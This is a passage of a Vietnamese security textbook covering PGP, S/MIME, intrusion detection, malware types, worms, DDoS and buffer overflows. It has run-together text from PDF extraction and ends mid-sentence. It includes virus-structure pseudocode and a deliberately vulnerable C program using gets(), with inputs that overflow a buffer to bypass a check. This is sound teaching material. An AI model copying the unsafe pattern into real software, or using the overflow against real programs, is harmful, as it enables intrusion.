http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 117/147

 - 117 -

PGP Message Format

Các chùm khoá PGPMỗi ngườ i sử dụng PGP có một cặ p chùm khoá. Chùm khoá công khai chứa mọi khoácông khai của các ngườ i sử dụng PGP khác đượ c ngườ i đó biết và đượ c đánh số bằngđịnh danh khoá (ID key). Chùm khoá riêng chứa các cặ p khoá công khai/riêng của ngườ iđó đượ c đánh số bở i định danh khoá và mã của khoá lấy từ giai đoạn duyệt hash. An toàncủa khoá công khai như vậy phụ thuộc vào độ an toàn của giai đoạn duyệt.

Sinh mẩu tin PGPSơ  đồ sau mô tả qui trình sinh mẩu tin PGP để gửi cho ngườ i nhận.

Page 118: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 118/147

 - 118 -

Nhận mẩu tin

PGPSơ  đồ sau nêu cách ngườ i nhận giải mã, kiểm chứng thông tin để đọc mẩu tin.

Quản lý khoá PGPTốt hơ n hết dựa vào chủ quyền chứng nhận. Trong PGP mỗi ngườ i sử dụng có một CAcủa mình. Có thể ký khoá cho ngườ i sử dụng mà anh ta biết tr ực tiế p. Tạo thành “Webcủa niềm tin”. Cần tin cậy khóa đã đượ c ký, và tin cậy các khoá mà các ngườ i khác kýkhi dùng một dây chuyền các chữ ký đến nó.Chùm khoá chưá cả các chỉ dẫn tin cậy. Ngườ i sử dụng có thể thu hồi khoá của họ 

Page 119: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 119/147

 - 119 -

VII.4.2 Mở rộng thư Internet đa mục đích/an toàn S/MIMETăng cườ ng an toàn cho thư điện tử đa mục đích mở r ộng MIME (Multipurpose InternetMail Extension). Thư điện tử Internet RFC822 gốc chỉ có văn bản, MIME cung cấ p hỗ tr ợ cho nhiều kiểu nội dung và mẩu tin có nhiều phần vớ i mã hoá dữ liệu nhị phân thànhdạng văn bản.

S/MIME tăng cườ ng tính an toàn, có hỗ tr ợ của S/MIME trong nhiều tác nhân thư điện tử như MS Outlook, Mozilla, Mac Mail, …Các chứ c năng S/MIMEDữ liệu đóng phong bì, nội dung đượ c mã hoá và liên k ết khoá, dữ liệu đượ c ký, mẩu tinđượ c mã và ký sau nén, dữ liệu rõ ràng đượ c ký, mẩu tin tườ ng minh và mã hoá ch ữ kýtrên bản nén, dữ liệu đóng phong bì và ký, lồng nhau các th ực th ể ký và mã.Các thuật toán mã hoá S/MIMECác chữ ký điện tử DSS và RSA, các hàm hash: SHA-1 và MD5, mã khoá phiên:Elgamal & RSA, mã mẩu tin: AES, Triple-DES, RC2/40, …;MAC: HMAC vớ i SHA-1.Có quá trình để đối thoại quyết định sử dụng thuật toán nào.Các mẩu tin S/MIME

S/MIME bảo vệ các thực thể MIME vớ i chữ ký, mã hoặc cả hai tạo thành các đối tượ ngđóng gói MIME. Có phạm vi các kiểu nội dung khác nhau: dữ liệu đóng phong bì, dữ liệuđượ c ký, dữ liệu rõ ràng đượ c ký, yêu cầu đăng ký, chứng nhận mẩu tin.Quá trình chứ ng nhận S/MIMES/MIME sử dụng chứng nhận X.509 phiên bản 3. Quản tr ị việc sử dụng k ết hợ  p sơ  đồ  phân cấ p CA của X.509 và Web niềm tin của PGP. Mỗi client có một danh sách các giấychứng nhận cho CA tin cậy và có các giấy chứng nhận và cặ p khoá công khai/riêng củamình. Chứng nhận cần đượ c ký bở i các CA tin cậy.

Chủ quyền chứ ng nhận CA (Certificate Authorities)Có một số CA mọi ngườ i đều biết. Verisign là một CA đượ c sử dụng r ộng rãi. Verisign

xuất bản một số kiểu định danh điện tử. Tăng mức kiểm tra và kéo theo độ tin cậy.Bài tập

1.   Nêu mục đích IPSec, các tham số, AH và ESP2.   Nêu mục đích SSL và TLS. Trình bày kiến trúc và nhiệm vụ của các thành

 phần của chúng.3.  Thế nào là thanh toán điện tử an toàn4.   Nêu yêu cầu của chữ ký kép và chứng tỏ chữ ký kép trong thanh toán điện tử 

an toàn đáp ứng các yêu cầu đó.5.   Nêu qui trình thanh toán điện tử an toàn, chứng tỏ nó đáp ứng đượ c các yêu

cầu an toàn đề ra.6.   Nêu các yêu cầu bảo mật, xác thực, chữ ký điện tử của hệ thống thư địên tử.7.  Trình bày giải pháp đề xuất của PGP cho hệ thống thư điện tử.8.  Tìm hiểu xác thực cở bản HTTP trong Internet Explorer.

Page 120: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 120/147

 - 120 -

CHƯƠ NG 8:

K Ẻ XÂM NHẬP, PHẦN MỀM CÓ HẠI VÀ

BỨ C TƯỜ NG LỬ A

VIII.1 K ẻ xâm nhậpVIII.1.1 Khái niệmVấn đề quan tr ọng đối vớ i hệ thống mạng là chống lại việc truy cậ  p không mongmuốn qua mạng máy tính lớ n hoặc cục bộ. Chúng ta có thể phân loại k ẻ xâm nhậ pnhư sau:

o  K ẻ giả danho  K ẻ lạm quyềno   Ngườ i sử dụng giấu mặt

Có nhiều mức độ khả năng khác nhau xâm nhậ p khác nhau. Rõ ràng vấn đề trên đượ ccông khai và tr ở nên bức xúc

o  Từ Wily Hacker” trong năm 1986/1987o  đến việc tăng nhanh các đội ứng cứu tình tr ạng khẩn cấ p của máy tính

Vớ i đội ứng cứu có thể cảm thấy bình an nhưng đòi hỏi các nguồn chi bổ sung để  phát triển và duy trì hoạt động. K ẻ xâm nhậ p có thể sử dụng các hệ thống làm hại để tấn công.

VIII.1.2 Các k ỹ thuật xâm phạmMục tiêu của k ẻ xâm nhậ p là dành quyền truy cậ p hoặc tăng quyền trong hệ thống.Các phươ ng pháp tấn công cơ bản bao gồm

o  Tìm mục tiêu và thu thậ p thông tino  Truy cậ p ban đầuo  Leo thang quyềno  Lần vết khôi phục

Mục tiêu chính là giành đượ c mật khẩu và sau đó dùng quyền truy cậ p của ngườ i sở  hữu.

VIII.1.3 Đoán mật khẩuĐoán mật khẩu là một trong các hướ ng tấn công chung nhất. K ẻ tấn công đã biết tênngườ i sử dụng đăng nhậ p (từ trang email/web) và tìm cách đoán mật khẩu.

o  Mặc định, mật khẩu ngắn, tìm kiếm các từ chungo  Thông tin của ngườ i dùng (thay đổi tên, ngày sinh, số điện thoại, các mối

quan tâm và từ chung)

o  Tìm kiếm tổng thể mọi khả năng của mật khẩuK ẻ xâm nhậ p kiểm tra đăng nhậ p vớ i tệ p mật khẩu đánh cắ p đượ c. Sự thành công củaviệc đoán mật khẩu phụ thuộc vào mật khẩu đượ c chọn bở i ngườ i dùng. Tổng quanchỉ ra r ằng nhiều ngườ i sử dụng chọn mật khẩu không cẩn thận.Nắm bắt mật khẩuTấn công khác bao gồm nắm bắt mật khẩu

o  Theo dõi qua vai khi nhậ p passwordo  Sử dụng chươ ng trình ngựa thành Toroa để thu thậ p

Page 121: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 121/147

 - 121 -

o  Theo dõi login mạng không an toàn, chẳng hạn Telnet, FTP, Web, email.o  Chắt lọc thông tin ghi lại đượ c sau lần vào mạng thành công (đệm/lịch sử 

web, số quay cuối,…)o  Sử dụng login/password đúng để nhại lại ngườ i sử dụng

 Ngườ i sử dụng cần đượ c học để dùng các biện pháp đề phòng và ngăn ngừa thích

hợ  p.

VIII.1.4 Phát hiện xâm nhậpChắc chắn có lỗi an toàn ở  đâu đó. Như vậy để phát hiện xâm nhậ p cần phải

o  Chia khối để phát hiện nhanho  Hành động ngăn chặno  Thu thậ p thông tin để tăng cườ ng an toàn

Giả thiết r ằng k ẻ xâm nhậ p sẽ hành động khác so vớ i ngườ i dùng hợ  p phápo   Nhưng sẽ có sự khác biệt nhỏ giữa họ 

1.  Các cách tiếp cận phát hiện xâm nhậpPhát hiện thống kê bất thườ ng

o  Vượ t qua ngưỡ ng thống kê nào đóo  Dựa trên mô tả Dựa trên qui tắc

o  Hành động bất thườ ngo  Định danh thâm nhậ p

2.  Kiểm tra các bản ghiCông cụ cơ bản để phát hiện xâm nhậ p là kiểm tra bản ghi đơ n giản

o  Một phần của hệ điều hành đa ngườ i sử dụngo  Sẵn sàng để sử dụngo  Có thể không có thông tin trong định dạng mong muốn

Tiến hành kiểm tra các bản ghi chuyên dùng để phát hiện

o  Đượ c tạo chuyên dùng để thu thậ p một số thông tin mong muốno  Tr ả giá chi phí bổ sung trong hệ thống3.  Phát hiện thống kê bất thườ ngPhát hiện ngưỡ ng

o  Đếm sự xuất hiện của sự kiện đặc biệt theo thờ i giano   Nếu vượ t quá giá tr ị nào đó thì cho là đã có xâm nhậ po   Nếu chỉ dùng nó thì đây là phát hiện thô không hiệu quả 

Dựa trên mô tả o  Đặc tr ưng hành vi quá khứ của ngườ i sử dụngo  Phát hiện hệ quả quan tr ọng từ đóo  Mô tả bằng nhiều tham số 

4.  Phân tích kiểm tra bản ghiĐây là cơ  sở của cách tiế p cận thống kê. Phân tích bản ghi để nhận đượ c các số đotheo thờ i gian

o  Số đếm, đo, thờ i gian khoảng, sử dụng nguồnSử dụng các kiểm tra khác nhau trên số liệu phân tích để xác định hành vi hiện tại cóchấ p nhận đượ c không

o  Tính k ỳ vọng, phươ ng sai, biến nhiều chiều, quá trình Markov, chuỗi thờ igian, thao tác

Page 122: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 122/147

 - 122 -

Ư u điểm chính là không sử dụng kiến thức biết tr ướ c5.  Phát hiện xâm nhập dự a trên qui tắcQuan sát các sự kiện trong hệ thống và áp dụng các qui tắc để quyết định hoạt độngđó có đáng nghi ngờ hay không. Phát hiện bất thườ ng dựa trên qui tắc

o  Phân tích các bản ghi kiểm tra cũ để xác định mẫu sử dụng và qui tắc tự 

sinh cho chúngo  Sau đó quan sát hành vi hiện tại và sánh vớ i các qui tắc để nhận thấy nếunó phù hợ  p

o  Giống như phát hiện thống kê bất thườ ng không đòi hỏi kiến thức biếttr ướ c về sai lầm an toàn

Định danh sự thâm nhậ p dựa vào qui tắco  Sử dụng công nghệ hệ chuyên giao  Vớ i qui tắc định danh sự xâm nhậ p đã biết, các mẫu điểm yếu, hoặc các

hành vi nghi ngờ  o  So sánh các bản ghi kiểm tra hoặc các tr ạng thái theo qui tắco  Qui tắc đượ c sinh bở i các chuyên gia nhũng ngườ i đã phỏng vấn và hệ 

thống kiến thức của các quản tr ị an toàno  Chất lượ ng phụ thuộc vào cách thức thực hiện các điều trênẢo tưở ng dựa trên tỷ lệ 

o  Thực tế phát hiện xâm nhậ p hệ thống cần phát hiện tỷ lệ xâm nhậ p đúngvớ i r ất ít cảnh báo sai

   Nếu r ất ít sự xâm nhậ p đượ c phát hiện -> an toàn không tốt   Nếu r ất nhiều cảnh báo sai -> bỏ qua/phí thờ i gian

o  Điều đó r ất khó thực hiệno  Các hệ thống tồn tại hình như không có các bản ghi tốt

Phát hiện xâm nhậ p phân táno  Truyền thống thườ ng tậ p trung hệ thống đơ n lẻ 

o   Nhưng thông thườ ng có các hệ thống máy tínho  Bảo vệ hiệu quả cần làm việc cùng nhau để phát hiện xâm nhậ po  Các vấn đề 

  Làm việc vớ i nhiều định dạng bản ghi kiểm tra khác nhau  Toàn vẹn và bảo mật dữ liệu trên mạng  Kiến trúc tậ p trung và phân tán

Sử dụng bình mật ongo  Chăng lướ i thu hút các k ẻ tấn công

  Tách khỏi sự truy cậ p đến các hệ thống then chốt  Để thu thậ p các thông tin về hoạt động của chúng  Kích thích k ẻ tấn công ở lại trong hệ thống để ngườ i quản tr ị có thể 

 phán đoáno  Đượ c cấ p đầy đủ các thông tin bịa đặto  Đượ c trang bị để thu thậ p chi tiết thông tin về hoạt động của k ẻ tấn côngo  Hệ thống mạng đơ n và lặ p

VIII.1.5 Quản trị mật khẩuo  Là bảo vệ tuyến đầu chống k ẻ xâm nhậ po   Ngườ i sử dụng đượ c cung cấ p cả hai:

  Login – xác định đặc quyền của ngườ i sử dụng

Page 123: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 123/147

 - 123 -

  Password – xác định danh tính của họ o  Passwords thườ ng đượ c lưu tr ữ mã hoá

  Unix sử dụng DES lặ p  Các hệ thống gần đây sử dụng hàm hash

o  Cần phải bảo vệ file passwords trong hệ thống

Tìm hiểu về mật khẩuo  Purdue 1992 – có nhiều mật khẩu ngắno  Klein 1990 – có nhiều mật khẩu đoán đượ co  K ết luận là ngườ i sử dụng thườ ng chọn các mật khẩu không tốto  Cần một cách tiế p cận để chống lại điều đó

Tạo mật khẩu - cần giáo dục cách tạo mật khẩuo  Cần có chính sách và giáo dục ngườ i sử dụngo  Giáo dục tầm quan tr ọng của mật khẩu tốto  Cho định hướ ng mật khẩu tốt

  độ dài tối thiểu > 6

  đòi hỏi tr ộn chữ hoa và chữ thườ ng, số và dấu chấm  không chọn từ trong từ điểno   Nhưng nên chọn sao cho nhiều ngườ i không để ý

Tạo mật khẩu – máy tính tự sinho  Cho máy tính tự tạo mật khẩuo   Nếu ngẫu nhiên không dễ nhớ , thì sẽ viết xuống (hội chứng nhãn khó

chịu)o   Ngay cả phát âm đượ c cũng không nhớ  o  Có câu chuyện về việc chấ p nhận của ngườ i sử dụng tồio  FIPS PUB 181 là một trong những bộ sinh tốt nhất

  Có cả mô tả và code ví dụ 

  Sinh từ việc ghép ngẫu nhiên các âm tiết phát âm đượ cTạo mật khẩu - kiểm tra tr ướ co  Cách tiế p cận hưá hẹn nhất để có thể cải thiện an toàn mật khẩuo  Cho phép ngườ i sử dụng chọn tr ướ c mật khẩu của mìnho   Nhưng để cho hệ thống kiểm chứng xem nó có chấ p nhận đượ c không

  Bắt buộc theo qui tắc đơ n giản  So sánh vớ i từ điển các mật khẩu tồi  Sử dụng mô hình thuật toán Markov hoặc bộ lọc để chống các cách

chọn tồi

VIII.2 Phần mềm có hại

VIII.2.1 Các kiểu phần mềm có hại khác ngoài VirusVirus máy tính đã đượ c công bố r ất nhiều, là một trong những phần mềm có hại. Tácđộng của nó mọi ngườ i đều biết, đã đượ c nêu trong các báo cáo, viễn tưở ng và phimảnh, gây nhiều chú ý hơ n là tán thưở ng và đượ c quan tâm nhiều để phòng chống.1.  Cử a sau hoặc cử a sậpĐiểm vào chươ ng trình bí mật, cho phép những ngườ i biết truy cậ p mà bỏ qua các thủ tục an toàn thông thườ ng. K ỹ thuật này có thể đượ c sử dụng chung bở i những ngườ i phát triển và là mối đe doạ khi để trong chươ ng trình sản phẩm cho phép khai thác

Page 124: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 124/147

 - 124 -

 bở i các k ẻ tấn công. R ất khó ngăn chặn trong hệ điều hành, đòi hỏi sự phát triển vàcậ p nhật phần mềm tốt.2.  Bom logicĐây là một trong những phần mềm có hại kiểu cổ, code đượ c nhúng trong chươ ngtrình hợ  p pháp. Nó đượ c kích hoạt khi gặ p điều kiện xác định

o  Có mặt hoặc vắng mặt một số fileo   Ngày tháng/thờ i gian cụ thể o   Ngườ i sử dụng nào đó

Khi đượ c kích hoạt thông thườ ng nó làm hỏng hệ thốngo  Biến đổi/xoá file/đĩ a, làm dừng máy,…

3.  Ngự a thành Tơ roaChươ ng trình vớ i các tác động phụ đượ c dấu kín, mà thông thườ ng r ất hấ p dẫn như trò chơ i hoặc phần mềm nâng cấ p. Khi chạy thực hiện những nhiệm vụ bổ sung, cho  phép k ẻ tấn công gián tiế  p dành quyền truy cậ p mà họ không thể tr ực tiế  p. Thôngthườ ng sử dụng lan truyền virrus/sâu (worm) hoặc cài đặt cửa sau hoặc đơ n giản pháhoại dữ liệu.

4.  ZombieĐây là chươ ng trình bí mật điều khiển máy tính của mạng khác và sử dụng nó để giántiế p tiến hành các tấn công. Thông thườ ng sử dụng để khở i động tấn công từ chối cácdịch vụ phân tán (DdoS). Khai thác các lỗ hổng trong các hệ thống.VIII.2.2 VirusVirus là đoạn code tự sinh lặ p đính kèm vớ i code khác như virus sinh học. Cả hai đềulan truyền tự nó và mang đi bộ tải

o  Mang theo code để tạo các bản sao của chính nóo  Và cũng như mọi code nó cũng thực hiện nhiệm vụ ngầm nào đó

Thao tác của virusCác giai đoạn của virus

o   Nằm im - chờ sự kiện kích hoạto  Lan truyền – lặ p sinh ra chươ ng trình/đĩ ao  Kích hoạt - bở i sự kiện để thực hiện bộ tảio  Thực hiện bộ tảio  Cụ thể thông thườ ng mang tính chất chuyên biệt của các máy và hệ điều

hành. Nó khai thác các tính chất và điểm yếuCấu trúc Virus

 program V :={goto main;1234567;subroutine infect-executable := {loop:

file := get-random-executable-file;if (first-line-of-file = 1234567) then goto loopelse prepend V to file; }

subroutine do-damage := {whatever damage is to be done}subroutine trigger-pulled := {return true if condition holds}main: main-program := {infect-executable;

if trigger-pulled then do-damage;goto next;}

Page 125: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 125/147

 - 125 -

next:}

Các kiểu VirusCó thể phân loại dựa trên kiểu tấn công

o  Virus ăn bám

o  Virus cư trú ở bộ nhớ  o  Virus ở sector khở i độngo  Lén lúto  Virus nhiều hình tháio  Virus biến hoá

1. Marco VirusMarco code đính kèm file dữ liệu, đượ c dịch bở i chươ ng trình sử dụng file

o   Như marco của Word/Excelo  Sử dụng lệnh tự động và lệnh marco

Đây là đoạn code là độc lậ p vớ i nền tảng, là đoạn nguồn chính của sự lan nhiễm

virus. Có sự khác biệt không rõ ràng giữa dữ liệu và file chươ ng trình, thông thườ ngcó sự thoả hiệ p truyền thống: “dễ dàng sử dụng” và “an toàn”. Đã có sự cải thiện antoàn trong Word, không tr ội hơ n sự đe doạ của virus.

2. Virus emailĐây là loại virus lan truyền sử dụng email đượ c đính kèm chứa marco virus như Melissa. Thườ ng đượ c kích hoạt khi ngườ i sử dụng mở file đính kèm hoặc ít khi hơ nkhi mail đượ c xem sử dụng một tính chất script của tác nhân mail. Do đó sẽ lantruyền r ất nhanh, thông thườ ng đích là tác nhân mail Microsoft Outlook hoặc tài liệuWord /Excel. Cần an toàn ứng dụng và hệ điều hành tốt hơ n

3. SâuĐây là chươ ng trình sinh lặ p nhưng không có tác động, thườ ng lan truyền trên mạngo   Như sâu Internet Morris 1988o  Dẫn đến việc tạo ra các đội ứng cứu khẩn cấ p máy tính CERTo  Dùng đặc quyền phân tán hoặc khai thác các điểm yếu hệ thốngo  Đượ c sử dụng r ộng rãi bở i Hackers để tạo zombie PC, kéo theo sử dụng

các tấn công khác, đặc biệt từ chối dich vụ DoSVấn đề chính là mất sự an toàn của hệ thống k ết nối thườ ng xuyên như PC.

Thao tác của sâuCác giai đoạn của sâu giống như virus:

o   Nằm imo  Lan truyền  Tìm hệ thống khác để tác động  Thiết lậ p k ết nội vớ i hệ thống đích từ xa  Tự sinh lặ p mình cho hệ thống từ xa

o  Kích hoạto  Thực hiện

4. Sâu Morrris

Page 126: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 126/147

 - 126 -

Sâu Morris là loại sâu cổ điển, đượ c tạo bở i Robert Morris vào 1988, nhằm tớ i các hệ thống Unix. Ở đây sử dụng một số k ỹ thuật lan truyền, như 

o  Phá mật khẩu đơ n giản trong file mật khẩu cục bộ o  Khai thác lỗ hổngo  Tìm lỗi cửa sậ p trong hệ thống mail

Mọi tấn công thành công sẽ sinh lặ p nó.5.  Tấn công của sâu đươ ng thờ iLàn sóng tấn công của sâu đươ ng thờ i mớ i từ giữa 2001 như:- Code Red - sử dụng lỗ hổng MS IIS:

o  Thử IP ngẫu nhiên cho hệ thống chạy IISo  Có kích hoạt thờ i gian cho tấn công từ chối dịch vụ o  Làn sóng thứ hai tác động đến 360000 máy chủ trong vòng 14 giờ  

- Code Red 2 – cài đặt cửa sậ p- Nimda – cơ chế tác động lặ p- SQL Slammer – đã tấn công máy chủ MS SQL- Sobig – đã tấn công máy chủ proxy mở  

- Mydoom – sâu email có số lượ ng lớ n và có cửa sau6.  Công nghệ sâuCác đặc tính của công nghệ sâu là tấn công đa nền tảng, khai thác nhiều chiều, lantruyền cực nhanh, có nhiều kiểu tác động, biến hoá, cơ  động và khai thác zero day.

7.  Các biện pháp chống VirusBiện pháp tốt nhất là ngăn ngừa, nhưng nói chung là không thể. Do đócần phải có một trong nhiều biện pháp sau:

o  Phát hiện virus nhiễm trong hệ thốngo  Định danh loại virus nhiễmo  Loại bỏ khôi phục hệ thống về tr ạng thái sạch

8.  Phần mềm chống VirusPhần mềm thuộc thế hệ đầu tiêno  Quét sử dụng chữ ký của virus để định danho  Hoặc phát hiện sự thay đổi độ dài của chươ ng trình

Phần mềm thuộc thế hệ thứ haio  Sử dụng các qui tắc tr ực quan để phát hiện nhiễm viruso  Sử dụng mã hash của chươ ng trình để phát hiện sự thay đổi

Phần mềm thuộc thế hệ thứ bao  Chươ ng trình thườ ng trú trong bộ nhớ  định danh virus theo hành động

Phần mềm thuộc thế hệ thứ tư   Đóng gói vớ i r ất nhiều kiểu k ỹ thuật chống virus

  Quét và lần vết tích cực, kiểm soát truy cậ pPhươ ng pháp diệt bằng tay vẫn đượ c dùng.

9.  K ỹ thuật chống Virus nâng caoGiải mã mẫu

o  Sử dụng mô phỏng CPU kiểm tra chươ ng trình, chữ ký và hành vi tr ướ ckhi chạy chúng

Dùng Hệ thống miễn dịch số (IBM)

Page 127: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 127/147

 - 127 -

o  Hành động đa muc tiêu và chống Viruso  Mọi virus nhậ p vào tổ chức đượ c nắm bắt, phân tích, phát hiện/tấm chắn

tạo ra chống nó và loại bỏ 

Sau đây là sơ  đồ Hệ miễn dịch số (Digital Immune System)

VIII.2.3 Phần mềm ngăn chặn hành viCác phần mềm này đượ c tích hợ  p vớ i hệ điều hành của máy chủ.Chươ ng trình theo dõi các hành vi trong thờ i gian thực

o  Chẳng hạn truy cậ  p file, định dạng đĩ a, các chế  độ thực hiện, thay đổitham số hệ thống, truy cậ p mạngĐối vớ i các hành động có khả năng có hại

o   Nếu phát hiện thì ngăn chặn, chấm dứt hoặc tìm kiếmCó ưu điểm so vớ i quét, nhưng code có hại chạy tr ướ c khi phát hiện.

1. Tấn công từ chối dịch vụ từ xaTấn công từ chối dịch vụ từ xa (DDoS) tạo thành đe dọa đáng k ể, làm cho hệ thốngtr ở nên không sẵn sàng, làm tràn bở i sự vận chuyển vô ích.K ẻ tấn công thườ ng sử dụng một số lớ n các “zombies”, tăng độ khó của các tấn công.Công nghệ bảo vệ tìm các biện pháp đươ ng đầu chống lại

Page 128: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 128/147

 - 128 -

2. Tìm hiểu cách k ẻ thù xây dự ng mạng lướ i tấn công từ chối dịch vụ từ xaTừ chối dịch vụ có hiệu lực khi bị nhiễm r ất nhiều “zombies”. Để thực hiện đượ c điềuđó cần có:- Phần mềm cài đặt tấn công từ chối dịch vụ từ xa- Các lỗ hổng không vá đượ c trong nhiều hệ thống- Chiến lượ c quét để tìm lỗ hổng hệ thống: sử dụng các yếu tố ngẫu nhiên, lậ p danhsách va chạm, tìm hiểu cấu trúc topo, mạng con cục bộ.3. Chống tấn công từ chối dịch vụ từ xa (DDoS)Có ba cách bảo vệ sau đây đượ c dùng r ộng rãi

- Ngăn ngừa tấn công và chiếm l ĩ nh tr ướ c.- Phát hiện tấn công và lọc trong quá trình sử dụng dịch vụ - Lần vết nguồn tấn công và xác định sự tấn công sau khi sử dụng xong dịch vụ.

 Nói chung có phạm vi r ộng các khả năng tấn công, vì vậy phải có nhiều biện phápchống và sử dụng k ết hợ  p chúng.

VIII.3 Tràn bộ đệmTràn bộ đệm là cơ chế tấn công r ất phổ biến bắt đầu từ 1988 xuất hiện sâu Morris đếnCode Red, Slammer, Sasser và nhiều cái khác nữa. Các k ỹ thuật phòng chống đều đã biết.Tuy nhiên vẫn còn là vấn đề phải quan tâm vì di truyền từ các con r ệ p đã lây lan r ộng rãi.Vì vẫn còn các k ỹ thuật lậ p trình không cẩn thận.Cơ sở của việc tràn bộ nhớ : sinh bở i do lỗi lậ p trình, cho quá nhiều dữ liệu lưu tr ữ hơ nkhả năng cho phép trong bộ đệm kích thướ c cố định. Bộ đệm có thể trên ngăn xế p, đống,dữ liệu tổng thể. Viết đè các vị trí nhớ cận k ề, làm hỏng dữ liệu của chươ ng trình, truyềnđiều khiển không mong muốn, vi phạm truy cậ p bộ nhớ , thực hiện code của k ẻ tấn công

Page 129: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 129/147

 - 129 -

VIII.3.1 Ví dụ tràn bộ nhớ  

Buffer Overflow ExampleBuffer Overflow Exampleint main( int argc, char * argv[]) {

int valid = FALSE;char str1[8];char str2[8];

next_tag(str1);gets(str2);if (strncmp(str1, str2, 8) == 0)

valid = TRUE;printf("buffer1: str1(%s), str2(%s),

valid(%d)\n", st r1, str2, valid);}

$ cc -g -o buffer1 buffer1.c$ ./buffer1STARTbuffer1: str1(START), str2(START), valid(1)$ ./buffer1EVILINPUTVALUEbuffer1: str1(TVALUE),str2(EVILINPUTVALUE), valid(0)$ ./buffer1BADINPUTBADINPUTbuffer1: str1(BADINPUT),str2(BADINPUTBADINPUT), valid(1)

 

Xét chươ ng trình C trên. Ở đây có ba biến, thông thườ ng lưu trong vùng nhớ liền k ề. Gọichươ ng trình con copy vào str1 dữ liệu Start. Sau đó đọc đầu vào sử dụng hàm gets lưu

vào str2. Sau đó so sánh đầu vào vớ i xâu Start. Nếu thành công valid = true. Vấn đề hàmthư viện gets của C không kiểm tra độ lớ n dữ liệu đọc vào. Nếu nhiều hơ n 7 ký tự nó đòihỏi bộ nhớ nhiều hơ n. Khi đó dữ liệu thừa viết đè dữ liệu của biến k ề, trong tr ườ ng hợ  pnày là str1. Giả sử xâu đầu vào là “EVILINPUTVALUE”, k ết quả xâu Str1 bị viết đè vớ icác ký tự “TVALUE”. Xâu str2 không chỉ sử dụng 8 ký tự của nó mà còn thêm 7 ký tự từ str1. Biết cấu trúc trên, k ẻ tấn công có thể thu xế p sao cho giá tr ị xâu Str1 vẫn bằngStr2. Chẳng hạn nếu nhậ p xâu đầu vào là “BADINPUTBADINPUT” thì trong phép sosánh k ết quả vẫn đúng như trong lần chạy thứ ba trong ví dụ trên.

VIII.3.2 Tấn công tràn bộ nhớ . Để làm tràn bộ đệm, k ẻ tấn công cần phải phát hiện lỗ hổng tràn bộ đệm trong chươ ng trình nào đó. Theo dõi, lần theo vết thực hiện, sử dụng

các công cụ  ẩn. Hiểu bộ đệm lưu trong bộ nhớ như thế nào và xác định khả năng pháhỏng.

Page 130: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 130/147

 - 130 -

Function Calls and Stack FramesFunction Calls and Stack Frames

 

Một chút về lịch sử ngôn ngữ lậ p trình. Ở mức ngôn ngữ máy mọi dữ liệu là mảng các bytes, thông dịch phụ thuộc vào các chỉ lệnh đượ c dùng. Ngôn ngữ bậc cao hiện đại cóđịnh ngh ĩ a chặt về kiểu và các phép toán đúng. Không có lỗ hổng tràn bộ đệm, đượ clườ ng tr ướ c, giớ i hạn khi dùng.C và ngôn ngữ liên quan có cấu trúc điều khiển bậc cao, nhưng cho phép truy cậ p tr ựctiế p đến bộ nhớ . Vì vậy có lỗ hổng tràn bộ đệm. Có k ế thừa lớ n các code không an toàn,đang đượ c sử dụng r ộng rãi, nên có lỗ hổng.

Để hiểu hơ n tạo sao lại tràn bộ nhớ , mà không khắc phục đượ c, ta xem xét cơ chế mà lờ igọi hàm quản lý tr ạng thái cục bộ cho mỗi lờ i gọi. Khi một hàm gọi hàm khác, nó cần phải lưu ở  đâu đó địa chỉ tr ả về để hàm đượ c gọi khi k ết thúc tr ả điều khiển cho hàm gọi.Bên cạnh đó cũng cần có chỗ để cất một số tham số mà cần truyền cho hàm đượ c gọi vàcũng cần lưu các giá tr ị thanh ghi của hàm gọi mà cần đượ c sử dụng khi hàm đượ c gọik ết thúc. Thông thườ ng mọi dữ liệu này đượ c cất ở khung ngăn xế  p (stack frame). Mỗilần gọi hàm lại sinh ra một khung ngăn xế p liên k ết.Tràn bộ đệm ngăn xế p xảy ra khi bộ đệm đặt trên ngăn xế p. Nó đượ c khai thác bở i sâuMorris. Bài báo “Smashing the Stack” tuyên truyền nó. Có biến cục bộ phía dướ i con tr ỏ khung lưu tr ữ và địa chỉ tr ả lại. Vì vậy tràn bộ đệm cục bộ có nhiều khả năng viết 